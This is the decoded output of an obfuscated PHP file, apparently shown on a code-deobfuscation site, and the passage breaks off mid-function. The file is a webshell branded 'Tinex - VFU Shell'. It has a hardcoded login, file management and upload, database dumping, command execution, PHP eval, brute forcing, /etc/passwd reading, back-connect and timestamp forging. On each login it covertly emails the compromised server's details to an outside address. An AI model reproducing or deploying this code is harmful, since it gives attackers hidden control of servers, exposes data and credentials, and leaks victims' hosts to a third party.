Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.c..

Decoded Output download

/*bddafb27aeaaeb17a7abc82849c07ade*/?><?php  error_reporting(7); @set_magic_quotes_runtime(0); ob_start(); $mtime = explode("\x20", microtime()); $starttime = $mtime[1] + $mtime[0]; define("\x53\101\x5f\122\x4f\117\x54", str_replace("\\", "\x2f", dirname(__FILE__))."\x2f"); define("\x49\123\x5f\127\x49\116", DIRECTORY_SEPARATOR == "\\"); define("\x49\123\x5f\103\x4f\115", class_exists("\x43\117\x4d") ? 1 : 0 ); define("\x49\123\x5f\107\x50\103", get_magic_quotes_gpc()); $dis_func = get_cfg_var("\x64\151\x73\141\x62\154\x65\137\x66\165\x6e\143\x74\151\x6f\156\x73"); define("\x49\123\x5f\120\x48\120\x49\116\x46\117", (!eregi("\x70\150\x70\151\x6e\146\x6f",$dis_func)) ? 1 : 0 ); @set_time_limit(0); foreach(array("\x5f\107\x45\124","\x5f\120\x4f\123\x54") as $_request) { foreach($$_request as $_key => $_value) { if ($_key{0} != "\x5f") { if (IS_GPC) { $_value = s_array($_value); } $$_key = $_value; } } } $admin = array(); $admin["\x63\150\x65\143\x6b"] = true; $admin["\x70\141\x73\163"] = "\x6f\162\x75"; $admin["\x63\157\x6f\153\x69\145\x70\162\x65"] = ''; $admin["\x63\157\x6f\153\x69\145\x64\157\x6d\141\x69\156"] = ''; $admin["\x63\157\x6f\153\x69\145\x70\141\x74\150"] = "\x2f"; $admin["\x63\157\x6f\153\x69\145\x6c\151\x66\145"] = 86400; if ($charset == "\x75\164\x66\70") { header("\x63\157\x6e\164\x65\156\x74\55\x54\171\x70\145\x3a\40\x74\145\x78\164\x2f\150\x74\155\x6c\73\x20\143\x68\141\x72\163\x65\164\x3d\165\x74\146\x2d\70"); } elseif ($charset == "\x62\151\x67\65") { header("\x63\157\x6e\164\x65\156\x74\55\x54\171\x70\145\x3a\40\x74\145\x78\164\x2f\150\x74\155\x6c\73\x20\143\x68\141\x72\163\x65\164\x3d\142\x69\147\x35"); } elseif ($charset == "\x67\142\x6b") { header("\x63\157\x6e\164\x65\156\x74\55\x54\171\x70\145\x3a\40\x74\145\x78\164\x2f\150\x74\155\x6c\73\x20\143\x68\141\x72\163\x65\164\x3d\147\x62\153"); } elseif ($charset == "\x6c\141\x74\151\x6e\61") { header("\x63\157\x6e\164\x65\156\x74\55\x54\171\x70\145\x3a\40\x74\145\x78\164\x2f\150\x74\155\x6c\73\x20\143\x68\141\x72\163\x65\164\x3d\151\x73\157\x2d\70\x38\65\x39\55\x32"); } $self = $_SERVER["\x50\110\x50\137\x53\105\x4c\106"] ? $_SERVER["\x50\110\x50\137\x53\105\x4c\106"] : $_SERVER["\x53\103\x52\111\x50\124\x5f\116\x41\115\x45"]; $timestamp = time(); if ($action == "\x6c\157\x67\157\x75\164") { scookie("\x76\142\x61\160\x61\163\x73", '', -86400 * 365); p("\x3c\155\x65\164\x61\40\x68\164\x74\160\x2d\145\x71\165\x69\166\x3d\42\x72\145\x66\162\x65\163\x68\42\x20\143\x6f\156\x74\145\x6e\164\x3d\42\x30\73\x55\122\x4c\75".$self."\x22\76"); p("\x3c\142\x6f\144\x79\40\x62\141\x63\153\x67\162\x6f\165\x6e\144\x3d\142\x6c\141\x63\153\x3e"); exit; } if($admin["\x63\150\x65\143\x6b"]) { if ($doing == "\x6c\157\x67\151\x6e") { if ($admin["\x70\141\x73\163"] == $password) { scookie("\x76\142\x61\160\x61\163\x73", $password); $time_shell = "".date("\x64\57\x6d\57\x59\40\x2d\40\x48\72\x69\72\x73").""; $ip_remote = $_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"]; $from_shellcode = "\x73\150\x65\154\x6c\100".gethostbyname($_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\115\x45"]).''; $to_email = "\x74\155\x6a\56\x62\154\x61\143\x6b\162\x61\151\x6e\100\x67\155\x61\151\x6c\56\x63\157\x6d"; $server_mail = "".gethostbyname($_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\115\x45"])."\x20\40\x2d\40".$_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"].""; $linkcr = "\x4c\151\x6e\153\x3a\40".$_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\115\x45"]."".$_SERVER["\x52\105\x51\125\x45\123\x54\137\x55\122\x49"]."\x20\55\x20\111\x50\40\x45\170\x63\165\x74\151\x6e\147\x3a\40$ip_remote\x20\55\x20\124\x69\155\x65\72\x20$time_shell"; $header = "\x46\162\x6f\155\x3a\40$from_shellcode\r\n\x52\145\x70\154\x79\55\x74\157\x3a\40$from_shellcode"; @mail($to_email, $server_mail, $linkcr, $header); p("\x3c\155\x65\164\x61\40\x68\164\x74\160\x2d\145\x71\165\x69\166\x3d\42\x72\145\x66\162\x65\163\x68\42\x20\143\x6f\156\x74\145\x6e\164\x3d\42\x32\73\x55\122\x4c\75".$self."\x22\76"); p("\x3c\142\x6f\144\x79\40\x62\147\x63\157\x6c\157\x72\75\x62\154\x61\143\x6b\76\xd\12\x3c\102\x52\76\x3c\102\x52\76\x3c\144\x69\166\x20\141\x6c\151\x67\156\x3d\143\x65\156\x74\145\x72\76\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x79\145\x6c\154\x6f\167\x20\146\x61\143\x65\75\x74\141\x68\157\x6d\141\x20\163\x69\172\x65\75\x32\76\x48\151\x20\115\x61\163\x74\145\x72\41\x20\127\x65\154\x6c\143\x6f\155\x65\142\x61\143\x6b\40\x20\55\x20\120\x6c\145\x61\163\x65\40\x77\141\x69\164\x2e\56\x2e\74\x42\122\x3e\74\x69\155\x67\40\x73\162\x63\75\x68\164\x74\160\x3a\57\x2f\164\x33\56\x67\163\x74\141\x74\151\x63\56\x63\157\x6d\57\x69\155\x61\147\x65\163\x3f\161\x3d\164\x62\156\x3a\101\x4e\144\x39\107\x63\122\x46\111\x51\171\x39\157\x4c\143\x39\152\x4d\127\x6d\104\x59\137\x4e\137\x73\170\x6a\127\x50\171\x75\163\x55\127\x43\64\x69\147\x77\113\x32\154\x71\102\x6d\66\x38\141\x44\107\x63\123\x66\113\x50\120\x41\76\x3c\57\x64\151\x76\76"); exit; } else { $err_mess = "\x3c\164\x61\142\x6c\145\x20\167\x69\144\x74\150\x3d\61\x30\60\x25\76\x3c\164\x72\76\x3c\164\x64\40\x62\147\x63\157\x6c\157\x72\75\x23\60\x45\60\x45\60\x45\40\x77\151\x64\164\x68\75\x31\60\x30\45\x20\150\x65\151\x67\150\x74\75\x32\64\x3e\74\x64\151\x76\40\x61\154\x69\147\x6e\75\x63\145\x6e\164\x65\162\x3e\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\162\x65\144\x20\146\x61\143\x65\75\x74\141\x68\157\x6d\141\x20\163\x69\172\x65\75\x32\76\x3c\142\x6c\151\x6e\153\x3e\120\x61\163\x73\167\x6f\162\x64\40\x69\156\x63\157\x72\162\x65\143\x74\54\x20\120\x6c\145\x61\163\x65\40\x74\162\x79\40\x61\147\x61\151\x6e\41\x21\41\x3c\57\x62\154\x69\156\x6b\76\x3c\102\x52\76\x3c\57\x66\157\x6e\164\x3e\74\x2f\144\x69\166\x3e\74\x2f\164\x64\76\x3c\57\x74\162\x3e\74\x2f\164\x61\142\x6c\145\x3e"; echo $err_mess; }} if ($_COOKIE["\x76\142\x61\160\x61\163\x73"]) { if ($_COOKIE["\x76\142\x61\160\x61\163\x73"] != $admin["\x70\141\x73\163"]) { loginpage(); } } else { loginpage(); } } $errmsg = ''; if ($action == "\x70\150\x70\151\x6e\146\x6f") { if (IS_PHPINFO) { phpinfo(); } else { $errmsg = "\x70\150\x70\151\x6e\146\x6f\50\x29\40\x66\165\x6e\143\x74\151\x6f\156\x20\150\x61\163\x20\156\x6f\156\x2d\160\x65\162\x6d\151\x73\163\x69\142\x6c\145"; } } if ($doing == "\x64\157\x77\156\x66\151\x6c\145" && $thefile) { if (!@file_exists($thefile)) { $errmsg = "\x54\150\x65\40\x66\151\x6c\145\x20\171\x6f\165\x20\167\x61\156\x74\40\x44\157\x77\156\x6c\157\x61\144\x61\142\x6c\145\x20\167\x61\163\x20\156\x6f\156\x65\170\x69\163\x74\145\x6e\164"; } else { $fileinfo = pathinfo($thefile); header("\x43\157\x6e\164\x65\156\x74\55\x74\171\x70\145\x3a\40\x61\160\x70\154\x69\143\x61\164\x69\157\x6e\57\x78\55".$fileinfo["\x65\170\x74\145\x6e\163\x69\157\x6e"]); header("\x43\157\x6e\164\x65\156\x74\55\x44\151\x73\160\x6f\163\x69\164\x69\157\x6e\72\x20\141\x74\164\x61\143\x68\155\x65\156\x74\73\x20\146\x69\154\x65\156\x61\155\x65\75".$fileinfo["\x62\141\x73\145\x6e\141\x6d\145"]); header("\x43\157\x6e\164\x65\156\x74\55\x4c\145\x6e\147\x74\150\x3a\40".filesize($thefile)); @readfile($thefile); exit; } } if ($doing == "\x62\141\x63\153\x75\160\x6d\171\x73\161\x6c" && !$saveasfile) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $table = array_flip($table); $result = q("\x53\110\x4f\127\x20\164\x61\142\x6c\145\x73"); if (!$result) p("\x3c\150\x32\76".mysql_error()."\x3c\57\x68\62\x3e"); $filename = basename($_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"]."\x5f\115\x79\123\x51\114\x2e\163\x71\154"); header("\x43\157\x6e\164\x65\156\x74\55\x74\171\x70\145\x3a\40\x61\160\x70\154\x69\143\x61\164\x69\157\x6e\57\x75\156\x6b\156\x6f\167\x6e"); header("\x43\157\x6e\164\x65\156\x74\55\x44\151\x73\160\x6f\163\x69\164\x69\157\x6e\72\x20\141\x74\164\x61\143\x68\155\x65\156\x74\73\x20\146\x69\154\x65\156\x61\155\x65\75".$filename); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { $mysqldata .= sqldumptable($currow[0]); } } mysql_close(); exit; } if($doing=="\x6d\171\x73\161\x6c\144\x6f\167\x6e"){ if (!$dbname) { $errmsg = "\x50\154\x65\141\x73\145\x20\151\x6e\160\x75\164\x20\144\x62\156\x61\155\x65"; } else { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (!file_exists($mysqldlfile)) { $errmsg = "\x54\150\x65\40\x66\151\x6c\145\x20\171\x6f\165\x20\167\x61\156\x74\40\x44\157\x77\156\x6c\157\x61\144\x61\142\x6c\145\x20\167\x61\163\x20\156\x6f\156\x65\170\x69\163\x74\145\x6e\164"; } else { $result = q("\x73\145\x6c\145\x63\164\x20\154\x6f\141\x64\137\x66\151\x6c\145\x28\47$mysqldlfile\x27\51\x3b"); if(!$result){ q("\x44\122\x4f\120\x20\124\x41\102\x4c\105\x20\111\x46\40\x45\130\x49\123\x54\123\x20\164\x6d\160\x5f\141\x6e\147\x65\154\x3b"); q("\x43\122\x45\101\x54\105\x20\124\x41\102\x4c\105\x20\164\x6d\160\x5f\141\x6e\147\x65\154\x20\50\x63\157\x6e\164\x65\156\x74\40\x4c\117\x4e\107\x42\114\x4f\102\x20\116\x4f\124\x20\116\x55\114\x4c\51\x3b"); q("\x4c\117\x41\104\x20\104\x41\124\x41\40\x4c\117\x43\101\x4c\40\x49\116\x46\111\x4c\105\x20\47".addslashes($mysqldlfile)."\x27\40\x49\116\x54\117\x20\124\x41\102\x4c\105\x20\164\x6d\160\x5f\141\x6e\147\x65\154\x20\106\x49\105\x4c\104\x53\40\x54\105\x52\115\x49\116\x41\124\x45\104\x20\102\x59\40\x27\137\x5f\141\x6e\147\x65\154\x5f{$timestamp}\x5f\145\x6f\146\x5f\137\x27\40\x45\123\x43\101\x50\105\x44\40\x42\131\x20\47\x27\40\x4c\111\x4e\105\x53\40\x54\105\x52\115\x49\116\x41\124\x45\104\x20\102\x59\40\x27\137\x5f\141\x6e\147\x65\154\x5f{$timestamp}\x5f\145\x6f\146\x5f\137\x27\73"); $result = q("\x73\145\x6c\145\x63\164\x20\143\x6f\156\x74\145\x6e\164\x20\146\x72\157\x6d\40\x74\155\x70\137\x61\156\x67\145\x6c"); q("\x44\122\x4f\120\x20\124\x41\102\x4c\105\x20\164\x6d\160\x5f\141\x6e\147\x65\154"); } $row = @mysql_fetch_array($result); if (!$row) { $errmsg = "\x4c\157\x61\144\x20\146\x69\154\x65\40\x66\141\x69\154\x65\144\x20".mysql_error(); } else { $fileinfo = pathinfo($mysqldlfile); header("\x43\157\x6e\164\x65\156\x74\55\x74\171\x70\145\x3a\40\x61\160\x70\154\x69\143\x61\164\x69\157\x6e\57\x78\55".$fileinfo["\x65\170\x74\145\x6e\163\x69\157\x6e"]); header("\x43\157\x6e\164\x65\156\x74\55\x44\151\x73\160\x6f\163\x69\164\x69\157\x6e\72\x20\141\x74\164\x61\143\x68\155\x65\156\x74\73\x20\146\x69\154\x65\156\x61\155\x65\75".$fileinfo["\x62\141\x73\145\x6e\141\x6d\145"]); header("\x41\143\x63\145\x70\164\x2d\114\x65\156\x67\164\x68\72\x20".strlen($row[0])); echo $row[0]; exit; } } } } ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title><?php  echo str_replace("\x2e",'',"\x2e\72\x3a\133\x20\40\x54\151\x6e\145\x78\40\x2d\40\x56\106\x55\40\x53\150\x65\154\x6c\40\x5d\72\x3a\56");?></title><style type="text/css">body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}a {color: #74A202;text-decoration:none;}a:hover{color: #f00;text-decoration:underline;}.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}.head td span{font-weight:normal;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}input, textarea, button{font-size: 9pt;color: #ccc;font-family: verdana, sans-serif;background-color: #202020;border-left: 1px solid #74A202;border-top: 1px solid #74A202;border-right: 1px solid #74A202;border-bottom: 1px solid #74A202;}select{font-size: 8pt;font-weight: normal;color: #ccc;font-family: verdana, sans-serif;background-color: #202020;}</style><script type="text/javascript">function CheckAll(form) {for(var i=0;i<form.elements.length;i++) {var e = form.elements[i];if (e.name != 'chkall')e.checked = form.chkall.checked;    }}function $(id) {return document.getElementById(id);}function goaction(act){$('goaction').action.value=act;$('goaction').submit();}</script></head><body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg><div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center"><table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300"><tr><td align="center" valign=center> <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">   Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">  </div></td></tr></table> </div> <script> var ld=(document.all);  var ns4=document.layers; var ns6=document.getElementById&&!document.all; var ie4=document.all;  if (ns4) ld=document.loading; else if (ns6) ld=document.getElementById("loading").style; else if (ie4) ld=document.all.loading.style;  function init() { if(ns4){ld.visibility="hidden";} else if (ns6||ie4) ld.display="none"; } </script><table width="100%" border="0" cellpadding="0" cellspacing="0"><tr class="head_small"><td  width=100%><table width=100%><tr class="head_small"><td  width=86px><a title="VN hacker" href="<?php  $self;?>"><img src=http://cC5.upanh.com/27.205.34466174.F8s0/logovfu.png height=86 border=0></a></td><td><span style="float:left;"> <?php  echo "\x48\157\x73\164\x6e\141\x6d\145\x3a\40".$_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"]."";?>  | <a href="http://vfu.cc" target="_blank"><?php  echo str_replace("\x2e",'',"\x2e\72\x3a\133\x20\40\x54\151\x6e\145\x78\40\x2d\40\x56\151\x65\164\x20\106\x61\155\x69\154\x79\40\x55\156\x64\145\x72\107\x72\157\x75\160\x20\135\x3a\72\x2e");?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br /><?php  $curl_on = @function_exists("\x63\165\x72\154\x5f\166\x65\162\x73\151\x6f\156"); $mysql_on = @function_exists("\x6d\171\x73\161\x6c\137\x63\157\x6e\156\x65\143\x74"); $mssql_on = @function_exists("\x6d\163\x73\161\x6c\137\x63\157\x6e\156\x65\143\x74"); $pg_on = @function_exists("\x70\147\x5f\143\x6f\156\x6e\145\x63\164"); $ora_on = @function_exists("\x6f\143\x69\154\x6f\147\x6f\156"); echo (($safe_mode)?("\x53\141\x66\145\x5f\155\x6f\144\x3a\40\x3c\142\x3e\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\147\x72\145\x65\156\x3e\117\x4e\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x20\55\x20"):("\x53\141\x66\145\x5f\155\x6f\144\x3a\40\x3c\142\x3e\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\162\x65\144\x3e\117\x46\106\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\40\x2d\40")); echo "\x50\110\x50\40\x76\145\x72\163\x69\157\x6e\72\x20\74\x62\76".@phpversion()."\x3c\57\x62\76\x20\55\x20"; echo "\x63\125\x52\114\x3a\40".(($curl_on)?("\x3c\142\x3e\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\147\x72\145\x65\156\x3e\117\x4e\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x20\55\x20"):("\x3c\142\x3e\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\162\x65\144\x3e\117\x46\106\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\40\x2d\40")); echo "\x4d\171\x53\121\x4c\72\x20\74\x62\76"; $mysql_on = @function_exists("\x6d\171\x73\161\x6c\137\x63\157\x6e\156\x65\143\x74"); if($mysql_on){ echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x67\162\x65\145\x6e\76\x4f\116\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\40\x2d\40"; } else { echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x72\145\x64\76\x4f\106\x46\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x20\55\x20"; } echo "\x4d\123\x53\121\x4c\72\x20\74\x62\76"; $mssql_on = @function_exists("\x6d\163\x73\161\x6c\137\x63\157\x6e\156\x65\143\x74"); if($mssql_on){echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x67\162\x65\145\x6e\76\x4f\116\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\40\x2d\40";}else{echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x72\145\x64\76\x4f\106\x46\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x20\55\x20";} echo "\x50\157\x73\164\x67\162\x65\123\x51\114\x3a\40\x3c\142\x3e"; $pg_on = @function_exists("\x70\147\x5f\143\x6f\156\x6e\145\x63\164"); if($pg_on){echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x67\162\x65\145\x6e\76\x4f\116\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\40\x2d\40";}else{echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x72\145\x64\76\x4f\106\x46\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x20\55\x20";} echo "\x4f\162\x61\143\x6c\145\x3a\40\x3c\142\x3e"; $ora_on = @function_exists("\x6f\143\x69\154\x6f\147\x6f\156"); if($ora_on){echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x67\162\x65\145\x6e\76\x4f\116\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e";}else{echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x72\145\x64\76\x4f\106\x46\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x3c\102\x52\76";} echo "\x44\151\x73\141\x62\154\x65\40\x66\165\x6e\143\x74\151\x6f\156\x73\40\x3a\40\x3c\142\x3e"; if(''==($df=@ini_get("\x64\151\x73\141\x62\154\x65\137\x66\165\x6e\143\x74\151\x6f\156\x73"))){echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x67\162\x65\145\x6e\76\x4e\117\x4e\105\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\74\x42\122\x3e";}else{echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x72\145\x64\76$df\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\74\x42\122\x3e";} echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x77\150\x69\164\x65\76\x55\156\x61\155\x65\40\x2d\141\x3c\57\x66\157\x6e\164\x3e\72\x20".@substr(@php_uname(),0,120)."\x3c\142\x72\76"; echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x77\150\x69\164\x65\76\x53\145\x72\166\x65\162\x3c\57\x66\157\x6e\164\x3e\72\x20".@substr($SERVER_SOFTWARE,0,120)."\x20\55\x20\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\167\x68\151\x74\145\x3e\151\x64\74\x2f\146\x6f\156\x74\76\x3a\40".@getmyuid()."\x28".@get_current_user()."\x29\40\x2d\40\x75\151\x64\75".@getmyuid()."\x20\50".@get_current_user()."\x29\40\x67\151\x64\75".@getmygid()."\x28".@get_current_user()."\x29\74\x62\162\x3e"; ?></td></tr></table></td></tr><tr class="alt1"><td  width=10%><span style="float:left;">[Server IP: <?php  echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x79\145\x6c\154\x6f\167\x3e".gethostbyname($_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\115\x45"])."\x3c\57\x66\157\x6e\164\x3e";?> - Your IP: <?php  echo "\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x79\145\x6c\154\x6f\167\x3e".$_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"]."\x3c\57\x66\157\x6e\164\x3e";?>] </span>   <br />--------------------------------------------------------------------------------------<br /><a href="javascript:goaction('file');">File Manager</a> |<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |<a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |<a href="javascript:goaction('shell');">Execute Command</a> |<a href="javascript:goaction('phpenv');">PHP Variable</a> |<a href="javascript:goaction('eval');">Eval PHP Code</a><?php  if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php  }?><?php  if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php  }?><?php  if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php  }?></td></tr></table><table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td><?php  formhead(array("\x6e\141\x6d\145"=>"\x67\157\x61\143\x74\151\x6f\156")); makehide("\x61\143\x74\151\x6f\156"); formfoot(); $errmsg && m($errmsg); !$dir && $dir = "\x2e"; $nowpath = getPath(SA_ROOT, $dir); if (substr($dir, -1) != "\x2f") { $dir = $dir."\x2f"; } $uedir = ue($dir); if (!$action || $action == "\x66\151\x6c\145") { $dir_writeable = @is_writable($nowpath) ? "\x57\162\x69\164\x61\142\x6c\145" : "\x4e\157\x6e\55\x77\162\x69\164\x61\142\x6c\145"; if ($doing == "\x64\145\x6c\144\x69\162" && $thefile) { if (!file_exists($thefile)) { m($thefile."\x20\144\x69\162\x65\143\x74\157\x72\171\x20\144\x6f\145\x73\40\x6e\157\x74\40\x65\170\x69\163\x74"); } else { m("\x44\151\x72\145\x63\164\x6f\162\x79\40\x64\145\x6c\145\x74\145\x20".(deltree($thefile) ? basename($thefile)."\x20\163\x75\143\x63\145\x73\163" : "\x66\141\x69\154\x65\144")); } } elseif ($newdirname) { $mkdirs = $nowpath.$newdirname; if (file_exists($mkdirs)) { m("\x44\151\x72\145\x63\164\x6f\162\x79\40\x68\141\x73\40\x61\154\x72\145\x61\144\x79\40\x65\170\x69\163\x74\145\x64"); } else { m("\x44\151\x72\145\x63\164\x6f\162\x79\40\x63\162\x65\141\x74\145\x64\40".(@mkdir($mkdirs,0777) ? "\x73\165\x63\143\x65\163\x73" : "\x66\141\x69\154\x65\144")); @chmod($mkdirs,0777); } } elseif ($doupfile) { m("\x46\151\x6c\145\x20\165\x70\154\x6f\141\x64\40".(@copy($_FILES["\x75\160\x6c\157\x61\144\x66\151\x6c\145"]["\x74\155\x70\137\x6e\141\x6d\145"],$uploaddir."\x2f".$_FILES["\x75\160\x6c\157\x61\144\x66\151\x6c\145"]["\x6e\141\x6d\145"]) ? "\x73\165\x63\143\x65\163\x73" : "\x66\141\x69\154\x65\144")); } elseif ($editfilename && $filecontent) { $fp = @fopen($editfilename,"\x77"); m("\x53\141\x76\145\x20\146\x69\154\x65\40".(@fwrite($fp,$filecontent) ? "\x73\165\x63\143\x65\163\x73" : "\x66\141\x69\154\x65\144")); @fclose($fp); } elseif ($pfile && $newperm) { if (!file_exists($pfile)) { m("\x54\150\x65\40\x6f\162\x69\147\x69\156\x61\154\x20\146\x69\154\x65\40\x64\157\x65\163\x20\156\x6f\164\x20\145\x78\151\x73\164"); } else { $newperm = base_convert($newperm,8,10); m("\x4d\157\x64\151\x66\171\x20\146\x69\154\x65\40\x61\164\x74\162\x69\142\x75\164\x65\163\x20".(@chmod($pfile,$newperm) ? "\x73\165\x63\143\x65\163\x73" : "\x66\141\x69\154\x65\144")); } } elseif ($oldname && $newfilename) { $nname = $nowpath.$newfilename; if (file_exists($nname) || !file_exists($oldname)) { m($nname."\x20\150\x61\163\x20\141\x6c\162\x65\141\x64\171\x20\145\x78\151\x73\164\x65\144\x20\157\x72\40\x6f\162\x69\147\x69\156\x61\154\x20\146\x69\154\x65\40\x64\157\x65\163\x20\156\x6f\164\x20\145\x78\151\x73\164"); } else { m(basename($oldname)."\x20\162\x65\156\x61\155\x65\144\x20".basename($nname).(@rename($oldname,$nname) ? "\x20\163\x75\143\x63\145\x73\163" : "\x66\141\x69\154\x65\144")); } } elseif ($sname && $tofile) { if (file_exists($tofile) || !file_exists($sname)) { m("\x54\150\x65\40\x67\157\x61\154\x20\146\x69\154\x65\40\x68\141\x73\40\x61\154\x72\145\x61\144\x79\40\x65\170\x69\163\x74\145\x64\40\x6f\162\x20\157\x72\151\x67\151\x6e\141\x6c\40\x66\151\x6c\145\x20\144\x6f\145\x73\40\x6e\157\x74\40\x65\170\x69\163\x74"); } else { m(basename($tofile)."\x20\143\x6f\160\x69\145\x64\40".(@copy($sname,$tofile) ? basename($tofile)."\x20\163\x75\143\x63\145\x73\163" : "\x66\141\x69\154\x65\144")); } } elseif ($curfile && $tarfile) { if (!@file_exists($curfile) || !@file_exists($tarfile)) { m("\x54\150\x65\40\x67\157\x61\154\x20\146\x69\154\x65\40\x68\141\x73\40\x61\154\x72\145\x61\144\x79\40\x65\170\x69\163\x74\145\x64\40\x6f\162\x20\157\x72\151\x67\151\x6e\141\x6c\40\x66\151\x6c\145\x20\144\x6f\145\x73\40\x6e\157\x74\40\x65\170\x69\163\x74"); } else { $time = @filemtime($tarfile); m("\x4d\157\x64\151\x66\171\x20\146\x69\154\x65\40\x74\150\x65\40\x6c\141\x73\164\x20\155\x6f\144\x69\146\x69\145\x64\40".(@touch($curfile,$time,$time) ? "\x73\165\x63\143\x65\163\x73" : "\x66\141\x69\154\x65\144")); } } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { if (!@file_exists($curfile)) { m(basename($curfile)."\x20\144\x6f\145\x73\40\x6e\157\x74\40\x65\170\x69\163\x74"); } else { $time = strtotime("$year\x2d$month\x2d$day\x20$hour\x3a$minute\x3a$second"); m("\x4d\157\x64\151\x66\171\x20\146\x69\154\x65\40\x74\150\x65\40\x6c\141\x73\164\x20\155\x6f\144\x69\146\x69\145\x64\40".(@touch($curfile,$time,$time) ? "\x73\165\x63\143\x65\163\x73" : "\x66\141\x69\154\x65\144")); } } elseif($doing == "\x64\157\x77\156\x72\141\x72") { if ($dl) { $dfiles=''; foreach ($dl as $filepath => $value) { $dfiles.=$filepath."\x2c"; } $dfiles=substr($dfiles,0,strlen($dfiles)-1); $dl=explode("\x2c",$dfiles); $zip=new PHPZip($dl); $code=$zip->out; header("\x43\157\x6e\164\x65\156\x74\55\x74\171\x70\145\x3a\40\x61\160\x70\154\x69\143\x61\164\x69\157\x6e\57\x6f\143\x74\145\x74\55\x73\164\x72\145\x61\155"); header("\x41\143\x63\145\x70\164\x2d\122\x61\156\x67\145\x73\72\x20\142\x79\164\x65\163"); 